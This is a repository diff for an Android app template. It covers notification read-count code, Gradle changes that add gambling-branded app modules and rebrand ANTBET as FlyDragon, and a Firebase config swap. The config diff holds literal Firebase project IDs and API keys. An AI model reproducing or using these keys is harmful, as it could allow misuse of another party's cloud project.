|
||||
.observeOn(AndroidSchedulers.mainThread())
|
||||
.subscribe(new BaseObserver<Result<MessageInfo>>() {
|
||||
@Override
|
||||
public void onSuccess(Result<MessageInfo> o) {
|
||||
// 后端采用异步最终一致,详情响应可能仍是加一前的值;稍后刷新列表读取最终值。
|
||||
if (o != null && o.data != null && o.data.getReadTimes() > messageInfo.getReadTimes()) {
|
||||
messageInfo.setReadTimes(o.data.getReadTimes());
|
||||
adapter.notifyDataSetChanged();
|
||||
}
|
||||
activityNotifylistBinding.recyclerNofity.postDelayed(() -> getNotifyList(), 1200L);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onError(int code, String msg) {
|
||||
LogUtils.i("阅读次数上报失败 pushId=" + pushId + ", error=" + msg);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onError2(Result<MessageInfo> o) {
|
||||
LogUtils.i("阅读次数上报失败 pushId=" + pushId);
|
||||
}
|
||||
});
|
||||
}
|
||||
/**
|
||||
* 启用Edge-to-Edge模式(核心方法)
|
||||
*
|
||||
@@ -121,7 +158,7 @@ public class NotifyListActivity extends AppCompatActivity {
|
||||
|
||||
public void getNotifyList() {
|
||||
//通知列表
|
||||
Api.getInstance().getNotifyList(userId, page, 10)
|
||||
Api.getInstance().getNotifyList(userId, page, 10, 0)
|
||||
.subscribeOn(Schedulers.io())
|
||||
.observeOn(AndroidSchedulers.mainThread())
|
||||
.subscribe(new BaseObserver<>() {
|
||||
|
||||
@@ -10,8 +10,8 @@ plugins {
|
||||
|
||||
ext {
|
||||
outputPath = "${project.rootDir}/apks"
|
||||
versionCode = 131
|
||||
versionName = "v1.3.1"
|
||||
versionCode = 100
|
||||
versionName = "v1.0.0"
|
||||
namespace = "com.webclip.base"
|
||||
JAVA_VERSION = JavaVersion.VERSION_17
|
||||
}
|
||||
@@ -100,3 +100,5 @@ include ':JDCLUB9VIP'//158
|
||||
include ':ANTBET'//307
|
||||
include ':BOSSKU'//308
|
||||
include ':jpot9'//309
|
||||
include ':titanplayz'//310
|
||||
include ':amazy'//311
|
||||
@@ -3,7 +3,7 @@ plugins {
|
||||
id 'com.google.gms.google-services'
|
||||
}
|
||||
|
||||
def appOutPutName = "ANTBET"
|
||||
def appOutPutName = "FlyDragon"
|
||||
|
||||
android {
|
||||
namespace rootProject.ext.namespace
|
||||
@@ -15,18 +15,18 @@ android {
|
||||
versionName rootProject.ext.versionName
|
||||
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
|
||||
|
||||
applicationId "com.hausd.ANTBET"
|
||||
applicationId "com.sbadab.FlyDragon"
|
||||
|
||||
//app大背景色
|
||||
resValue('color', 'windows_color', '#1A1A1A')
|
||||
resValue('color', 'windows_color', '#000000')
|
||||
//底部导航栏颜色 大背景颜色为 windows_color——style_color的上下渐变色
|
||||
resValue('color', 'style_color', '#1A1A1A')
|
||||
resValue('color', 'style_color', '#000000')
|
||||
//app 名字
|
||||
resValue('string', 'app_name', 'ANTBET')
|
||||
resValue('string', 'app_name', 'FlyDragon')
|
||||
|
||||
|
||||
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
|
||||
buildConfigField "int", "USERID", "307"
|
||||
buildConfigField "int", "USERID", "310"
|
||||
buildConfigField "boolean", "IS_WHITE", "false"
|
||||
buildConfigField "boolean", "IS_ROUND", "true"
|
||||
buildConfigField "int", "ROUND_RADIUS", "10"
|
||||
|
||||
@@ -1,21 +1,21 @@
|
||||
{
|
||||
"project_info": {
|
||||
"project_number": "781122275884",
|
||||
"project_id": "antbet-e3b1c",
|
||||
"storage_bucket": "antbet-e3b1c.firebasestorage.app"
|
||||
"project_number": "546127961982",
|
||||
"project_id": "titanplayz-a2589",
|
||||
"storage_bucket": "titanplayz-a2589.firebasestorage.app"
|
||||
},
|
||||
"client": [
|
||||
{
|
||||
"client_info": {
|
||||
"mobilesdk_app_id": "1:781122275884:android:8f5f3f751d8558c2831f89",
|
||||
"mobilesdk_app_id": "1:546127961982:android:7a3eaeeee14fb134519d2f",
|
||||
"android_client_info": {
|
||||
"package_name": "com.hausd.ANTBET"
|
||||
"package_name": "com.sbadab.FlyDragon"
|
||||
}
|
||||
},
|
||||
"oauth_client": [],
|
||||
"api_key": [
|
||||
{
|
||||
"current_key": "AIzaSyBUfKVyRr9FpPQt4i7XgiYC11j9Oafw1rs"
|
||||
"current_key": "AIzaSyDTG90A20wZnkpFqez0Ohr7J-OnRMc9y-U"
|
||||
}
|
||||
],
|
||||
"services": {
|
||||
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 318 KiB After Width: | Height: | Size: 10 KiB |
Reference in New Issue
Block a user